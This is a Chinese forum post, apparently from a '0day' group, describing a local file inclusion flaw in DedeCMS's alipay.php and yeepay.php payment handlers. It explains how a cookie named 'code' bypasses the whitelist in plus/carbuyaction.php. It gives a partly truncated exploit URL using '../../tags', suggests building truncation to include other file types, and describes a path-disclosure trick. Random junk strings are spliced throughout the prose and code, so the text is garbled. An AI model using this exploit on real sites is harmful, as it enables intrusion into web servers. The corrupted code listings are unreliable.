晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)( D3 ?- c: V. t3 \+ y) i; Z9 \3 r
8 n0 U2 S4 q8 m1 z- d
出现漏洞的两个文件为:+ q1 f, h4 x; E2 g% I j- K" ^
Include/payment/alipay.php. U* Y i- [7 X# v8 R
Include/payment/yeepay.php
8 J- |4 L f; ?漏洞均出现在respond方法里,估计这两个文件是临时工写的。
% g9 a* T- }" b% o# s; c1 M) D
Include/payment/alipay.php& I" t2 z/ L- G% O2 O5 r
" j5 o8 V8 o _6 o% U% d0 G( {' F......5 W" P u7 k, ]
function respond()' r& F2 [0 [* M+ `1 y: X* ~4 v+ M
{' G" B! B: w2 F
if (!empty($_POST))" a- B9 N: r8 S$ C, s4 J- u
{: _ k1 ]! L u3 Y i. l. S
foreach($_POST as $key => $data)0 F t6 Q+ l6 X% M
{% T6 Y7 Q, s( _4 D$ g* A, ~ `
$_GET[$key] = $data;
- i8 ^+ t q+ l) X/ n: d } q: @; ^7 G1 d2 Q1 I
}& }# N0 k" ^- B, p
/* 引入配置文件 */
0 P+ I$ X) U) _; Z, m" p require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
/ l! a) c; Z# \, b6 Q5 q......
' |" H7 t" |! R. [8 y' y d* T
6 c4 [) e. S# T! Y7 \9 S ]5 F0 v/ f- h6 O" S& e
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。# {) V1 O+ d3 p2 h" R% f) E! j: X6 r
0 v1 X, m- k% h( V
Include/payment/yeepay.php5 Z7 W3 C7 _; v' @* y, m
# Y! r2 z7 y5 Z
- [3 e5 v( _: T$ f8 V9 V/ z# r K7 e8 m$ @0 ~$ W8 n
......
" I) w1 j1 n8 T& ^+ L0 \$ C function respond()
s7 G- d' j$ b9 b( v {
) p; z6 V5 D; o1 J- B 2 u% R; E7 L0 r7 ^6 a( q8 C8 X' m$ P
/* 引入配置文件 */" p# J8 g( X( r7 z( _; j" V
require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
" n8 q& x4 ]: ]! e% \* I, _" n
$ s" [2 h" U e( a. @ a H5 s $p1_MerId = trim($payment['yp_account']);. {* F, E1 T0 B4 W8 m! o
$merchantKey = trim($payment['yp_key']);4 }% P j! ?/ Q7 K% d9 T
......
& X# t; R, M9 G" R3 o. M
, {: P) c1 i5 \. G/ `
' N! A: h! {2 T2 N
f5 W' t4 J, u( Y- @- j+ P0 \; G8 j) f; x2 W7 e
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。5 D7 h/ R& ^ `& }
$ J) H3 K) c* f: L. t9 s这两个方法在plus/carbuyaction.php文件调用。
5 c9 E7 i7 t. f( K0 W: j
/ I- T4 ]$ ?+ W/ q4 T$ _plus/carbuyaction.php
3 |* _& s: l, ^. B" H) f1 L" `
1 z( u8 q1 ^8 G' S......7 P2 K8 t; w/ p
} else if ($dopost == 'return') {
: Y# u8 } W# v4 q4 _" n8 V $write_list = array('alipay', 'bank', 'cod', 'yeepay');
6 c! z3 a5 x, n/ W/ } if (in_array($code, $write_list))( b* D4 S3 j* W
{
! U, I- R4 `! f9 N4 w require_once DEDEINC.'/payment/'.$code.'.php';
, x9 p3 y, o' }0 [, t- Z! \ $pay = new $code;# j9 \" W% ~2 k& p- v" U
$msg=$pay->respond();8 l9 T$ I9 W! b, ~7 ?! C5 d
ShowMsg($msg, "javascript:;", 0, 3000);
) x" r: z9 T x* n3 N$ d: } exit(); ; G6 @* E) o- g n
} else {5 g+ Q: |+ U+ W, D! F! u4 c6 X
exit('Error:File Type Can\'t Recognized!');4 `+ P' L2 i) d6 E& C
}2 G5 y0 D) E# ^, b
}
L. Z# Z6 y! R2 @7 b+ k...... 7 t# Z6 w) T1 Y# [
, Z. o) Q l% c2 m9 z
' O( K0 g% t7 J) Y' k0 K) i& }5 p 0 U% U6 l6 ~4 p" R1 g9 e
- U: e$ {+ m4 w" x, _, S) H
; x$ h S9 W+ H% I0 ~% k* X: N; f# f4 r3 i3 u8 x! S
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。( W/ b+ f0 ~, W
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
5 s, A, a) z6 @# f2 T6 O" Q! i; r9 m: Y! d3 r! I$ T: h; U
回到include/common.inc.php来看看他的机制。- d* ?4 R1 U/ _
6 n! u9 I* W+ ~% o5 @9 _
8 q$ r! z# X) [$ ]& Z0 q
+ j, S3 \- K' {3 q1 V
...... H: Y- |, Q" ~3 d7 I5 d! \
foreach(Array('_GET','_POST','_COOKIE') as $_request)) c' E7 q" x/ w9 E( x4 X
{: K/ o2 V& s' ~1 W5 |
foreach($$_request as $_k => $_v) % N+ z4 J0 s3 F h8 [
{
/ V) z3 E1 i; q if($_k == 'nvarname') ${$_k} = $_v;! l9 b9 J, w; o2 N
else ${$_k} = _RunMagicQuotes($_v);
3 `- @0 ~. l! R: e4 y }
! j5 m' b4 W, i$ t; r# H}, F [; A2 c% L& Q7 f
......
% b5 _. e+ W" A2 }2 @8 i0 ^3 w大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
' H4 X) m: ]3 i) N7 c7 Z由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。 |